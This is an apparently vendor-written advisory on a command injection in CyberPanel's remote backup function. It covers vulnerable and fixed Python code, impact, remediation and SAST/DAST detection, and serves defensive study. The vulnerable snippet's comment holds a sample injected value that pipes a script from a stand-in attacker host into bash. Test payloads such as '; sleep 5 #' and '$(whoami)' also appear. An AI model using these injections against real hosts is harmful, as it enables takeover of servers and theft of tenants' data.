CyberPanel Remote Backup Command Injection
CVE-2026-71966 is an authenticated command injection in CyberPanel 2.4.3's remote backup feature, enabling full OS takeover via crafted API responses.
Overview
CyberPanel 2.4.3 contains an authenticated command injection vulnerability in its remote backup transfer feature. The flaw resides in the starRemoteTransfer function, which orchestrates the transfer of backup archives to a remote server. When a remote server’s API response includes a directory name, that value is pulled directly from the JSON payload and incorporated into a shell command string without sanitization. An authenticated attacker who controls — or can perform a man-in-the-middle attack against — the remote backup endpoint can craft a malicious directory name containing shell metacharacters, causing the CyberPanel host to execute arbitrary operating system commands under the web server’s process privileges.
The vulnerability was identified by security researchers examining CyberPanel’s backup subsystem and was fixed in commit eca0c3c. Given that CyberPanel is widely deployed as a hosting control panel — often managing dozens to hundreds of websites on a single server — the blast radius of successful exploitation is significant. Any authenticated user with access to the backup transfer feature is a potential attacker, and the attack surface extends to any remote server that participates in the backup workflow.
The CVSS 8.8 HIGH score reflects a network-accessible, low-complexity attack that requires authentication but no elevated privileges within the panel, with a high impact across confidentiality, integrity, and availability. The scope is changed, meaning a compromise of CyberPanel can directly affect the underlying OS and all hosted sites.
Technical Analysis
The root cause is a classic server-side command injection arising from unsafe string interpolation. CyberPanel’s remote backup feature queries a remote API to obtain backup metadata, including a destination directory path. The returned directory name is trusted unconditionally and concatenated into a shell command.
A representative simplified version of the vulnerable pattern in starRemoteTransfer looks like this:
# VULNERABLE — CyberPanel 2.4.3 (simplified for illustration)
import subprocess, requests, json
def starRemoteTransfer(remoteServer, backupFile):
# Fetch remote backup metadata from the remote server's API
response = requests.post(
f"https://{remoteServer}/api/backupTransferInit",
json={"backupFile": backupFile},
verify=False,
)
data = response.json()
# Attacker-controlled value extracted from the API response
remoteDir = data["backupDir"] # e.g., "/home/backups/; curl http://evil.com/shell.sh | bash #"
# Unsanitized interpolation into a shell command
cmd = f"rsync -avz {backupFile} {remoteServer}:{remoteDir}"
subprocess.run(cmd, shell=True) # shell=True + untrusted input = RCE
The two compounding mistakes are:
-
Trusting external API data as safe. The value of
remoteDiroriginates from a remote server’s HTTP response. Even though CyberPanel’s own security middleware validates requests coming into CyberPanel, it has no visibility into data that CyberPanel receives from third-party endpoints. The middleware boundary is bypassed entirely because the injection point lives downstream of it. -
Using
shell=Truewith string interpolation. Passing a command string tosubprocess.run(oros.system) withshell=Truecauses Python to invoke/bin/sh -c <string>, which interprets every shell metacharacter in the string. A directory name such as/backups/; id > /tmp/pwned #will cause the shell to executersyncand then runid, writing output to/tmp/pwned. More dangerous payloads — reverse shells, SSH key injection, credential harvesting — follow the same pattern.
The bypass of security middleware is a particularly instructive detail. CyberPanel’s middleware correctly guards inbound API routes against malformed or unauthorized requests. However, the starRemoteTransfer code path constructs a new HTTP client request to an external host and then treats the response as implicitly trusted data. No allowlist validation, regex filtering, or path canonicalization is applied to backupDir before it reaches subprocess.run. This is a textbook example of second-order injection: the dangerous data arrives not from the initial authenticated request but from a subsequent, unguarded data-fetch operation.
Impact
An attacker who can influence the remote backup server’s API response — whether by controlling that server outright, poisoning a DNS entry, or intercepting an unencrypted (or certificate-pinning-disabled) connection — can execute arbitrary OS commands as the system user running CyberPanel (commonly root or a privileged service account). From there, the attacker can:
- Read or exfiltrate all hosted website data, databases, and configuration files, including stored credentials and SSL private keys.
- Persist access by writing SSH authorized keys, deploying web shells, or installing cron jobs.
- Pivot laterally to other systems reachable from the compromised host.
- Destroy or ransomware hosted data, resulting in significant availability impact for all tenants on the server.
Because CyberPanel is often deployed in multi-tenant shared hosting environments, a single successful exploitation can compromise the data of hundreds of unrelated website owners. The CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H accurately captures this: network-accessible, low complexity, low privileges, no user interaction, and a changed scope that extends impact beyond the application itself.
How to Fix It
The fix applied in commit eca0c3c moves away from shell string interpolation and sanitizes the remote directory value before use. The correct pattern is:
# FIXED — pass arguments as a list, never use shell=True with external data
import subprocess, requests, shlex, os
def starRemoteTransfer(remoteServer, backupFile):
response = requests.post(
f"https://{remoteServer}/api/backupTransferInit",
json={"backupFile": backupFile},
verify=True, # Always verify TLS; disabling this enables MITM
)
data = response.json()
remoteDir = data["backupDir"]
# Validate that remoteDir is an absolute path with no shell metacharacters
if not os.path.isabs(remoteDir) or any(c in remoteDir for c in (';', '&', '|', '$', '`', '\n', ' ')):
raise ValueError(f"Untrusted or malformed remoteDir value: {remoteDir!r}")
# Pass arguments as a list — no shell interpolation occurs
subprocess.run(
["rsync", "-avz", backupFile, f"{remoteServer}:{remoteDir}"],
shell=False, # Default, stated explicitly for clarity
check=True,
)
Key remediation steps:
- Replace
shell=Truewith a list-based argument vector. Whensubprocess.runreceives a list, Python passes each element directly toexecve, bypassing the shell entirely. Shell metacharacters in any argument become literal characters. - Validate all externally sourced values against an allowlist before use. For filesystem paths, enforce absolute path format and reject any character outside
[A-Za-z0-9/_.-]. - Enable TLS verification (
verify=True) when contacting remote servers. Disabling certificate verification makes the backup channel trivially MITM-able, which is one of the primary attack vectors for this CVE. - Upgrade to a CyberPanel build that includes commit
eca0c3cor later. Check your installed version withcyberpanel --versionand update through the panel’s built-in upgrade mechanism or by pulling the latest release from the official repository.
Our Take
Command injection through externally fetched data is an underappreciated variant of what developers typically think of as injection. Most security training focuses on injection via user-submitted form fields or URL parameters. But any data crossing a trust boundary — including HTTP responses from remote APIs that your application initiates — is attacker-controlled if the remote endpoint is compromised or spoofed. This case is a textbook example of why “authenticated” does not mean “safe”: the authentication boundary governs who can trigger the backup feature, not who controls the data that flows through it.
For enterprises running web hosting infrastructure, control panels represent a particularly high-value target precisely because they sit above the OS and below every hosted application. A single exploit here is not an application compromise — it is a full infrastructure compromise.
Detection with SAST
This vulnerability class maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). Offensive360’s SAST engine detects it through taint-tracking analysis that follows data from its source (in this case, an HTTP response body) through deserialization and into a sink (a subprocess call or os.system invocation).
Specific patterns our engine flags in Python code:
- Sink detection: Any call to
subprocess.run,subprocess.Popen,os.system,os.popen, orcommands.getoutputwhereshell=Trueis set. - Taint propagation: Variables derived from
response.json(),response.text, or similar HTTP client response accessors are marked tainted. Taint propagates through dictionary lookups, string formatting (f-strings,.format(),%-style), and concatenation. - Unsafe sink reachability: An alert fires when a tainted variable reaches a shell-enabled subprocess sink without passing through a validated allowlist function or
shlex.quote.
Our DAST engine complements this by actively injecting shell metacharacter payloads (; sleep 5 #, `id`, $(whoami)) into API response fields during integration testing of backup and transfer workflows, then monitoring for time-delay or out-of-band command execution indicators.
References
Detect this vulnerability class in your codebase
Offensive360 SAST scans your source code for CVE-2026-71966-class vulnerabilities and thousands of other patterns — across 60+ languages.